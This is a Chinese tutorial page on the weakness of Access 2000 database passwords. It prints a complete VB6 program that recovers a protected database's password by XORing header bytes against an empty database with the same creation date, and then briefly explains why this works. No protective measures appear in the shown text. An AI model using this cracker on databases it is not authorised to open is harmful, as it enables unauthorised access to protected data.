繁體中文当前位置: 首页 > 图文教程 > 数据库 > Access > 防止Access 2000密码被破译的方法
- Access
- 数据库应用程序需注意的问题
- 用Access分析网站实例
- 一个ACCESS数据库数据传递的方法
- 服务器架站应用：打造安全mdb数据库
- Access数据库安全的几个问题
- 以前流行的4种Access数据库安全方式
- 三招设置数据库安全 保障网站安全运营
- 解决用Access数据库建站维护不便的问题
- 十万条Access数据表分页的两个解决方法
- PHP高级技巧：使用PHP模拟HTTP认证
- Access数据库成功导入Oracle库方法
- 使用access数据库时可能用到的数据转换
- 疑难解答：怎样使用Access数据库压缩文件
- 堵住电脑中的Access漏洞 拒绝恶意网站
- 在Access中模拟sql server存储过程翻页
- 如何将文本文件转换为ACCESS数据库
- Access创建一个简单MIS管理系统
- 将mysql数据导入access数据库
- Access数据库用另一种方式管理密码
- Access如何制作复杂报表
防止Access 2000密码被破译的方法
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-17 浏览: 48 ::
收藏到网摘: n/a
如果你过分信任 Access 2000数据库的密码保护，你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全，相反它很脆弱，甚至下面这段非常小的程序就可以攻破它：
程序一（VB6）：Access 2000密码破译
| 以下为引用的内容： Private Sub Command1_Click() Const Offset = &H43 文件偏移地址：Access数据库从此处开始存放加密密码 Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte Dim i As Integer, Password As String 打开一个空数据库作为参照 Open "D:VB6_TestMDB_PasswordNew_Empty_DB.mdb" For Binary As #1 打开被密码保护的数据库 Open "D:VB6_TestMDB_PasswordPass_Protected_DB.mdb" For Binary As #2 Seek #1, Offset Seek #2, Offset For i = 1 To 20 ' Access 2000 数据库密码最长允许20位 Get #1, , bEmpty ' 其中每位密码占两个字节 Get #2, , bPass ' 一个汉字也仅是一位密码，占两个字节 If (bEmpty(1) Xor bPass(1)) <> 0 Then Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 将密码解密 End If Next Close 1, 2 MsgBox "Password:" + Password ' 显示密码 End Sub |
一、深入分析
上述程序成功的关键是使用了一个空数据库（New_Empty_DB.mdb）。该数据库的创建日期必须与被密码保护的数据库（Pass_Protected_DB.mdb）相一致。 换句话说，Access 2000 仅仅是使用“数据库创建日期”来加密用户密码。
应注意的是：上面的“创建日期”只是操作系统级的，也就是 Windows记录在文件夹目录里的信息（根据文件名的长短，每个文件在目录里占用至少32个字节，包括：文件名、属性、文件大小、首蔟号、创建时间、修改时间和访问时间等）。
评论 (0) All
